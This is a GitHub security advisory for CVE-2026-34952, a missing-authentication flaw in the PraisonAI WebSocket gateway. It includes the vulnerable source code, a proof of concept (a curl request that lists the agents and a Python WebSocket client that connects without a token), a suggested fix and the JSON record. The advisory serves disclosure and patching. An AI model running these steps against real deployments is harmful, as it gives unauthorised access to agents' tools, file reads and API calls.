GHSA-CFH6-VR3J-QC3G
Vulnerability from github – Published: 2026-04-01 23:28 – Updated: 2026-04-06 22:54
VLAI?
Summary
PraisonAI Has Missing Authentication in WebSocket Gateway
Details
Summary
The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.
Details
gateway/server.py:242 (source) -> gateway/server.py:250 (sink)
# source -- /info leaks all agent IDs with no auth
async def info(request):
return JSONResponse({
"agents": list(self._agents.keys()),
"sessions": len(self._sessions),
"clients": len(self._clients),
})
# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
client_id = str(uuid.uuid4())
self._clients[client_id] = websocket
# processes any message from any client
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &
# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}
# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
print('Connected with no auth')
await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted
Impact
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.
Suggested Fix
async def websocket_endpoint(websocket: WebSocket):
token = websocket.query_params.get("token") or \
websocket.headers.get("Authorization", "").removeprefix("Bearer ")
if self._config.auth_token and token != self._config.auth_token:
await websocket.close(code=4001, reason="Unauthorized")
return
await websocket.accept()
Severity ?
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.96"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34952"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:28:04Z",
"nvd_published_at": "2026-04-03T23:17:06Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -\u003e `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n return JSONResponse({\n \"agents\": list(self._agents.keys()),\n \"sessions\": len(self._sessions),\n \"clients\": len(self._clients),\n })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n await websocket.accept()\n client_id = str(uuid.uuid4())\n self._clients[client_id] = websocket\n # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=\u0027127.0.0.1\u0027, port=8765).start())\" \u0026\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n async with websockets.connect(\u0027ws://127.0.0.1:8765/ws\u0027) as ws:\n print(\u0027Connected with no auth\u0027)\n await ws.send(json.dumps({\u0027type\u0027: \u0027join\u0027, \u0027agent_id\u0027: \u0027assistant\u0027}))\n print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n token = websocket.query_params.get(\"token\") or \\\n websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n if self._config.auth_token and token != self._config.auth_token:\n await websocket.close(code=4001, reason=\"Unauthorized\")\n return\n await websocket.accept()\n```",
"id": "GHSA-cfh6-vr3j-qc3g",
"modified": "2026-04-06T22:54:21Z",
"published": "2026-04-01T23:28:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34952"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Missing Authentication in WebSocket Gateway"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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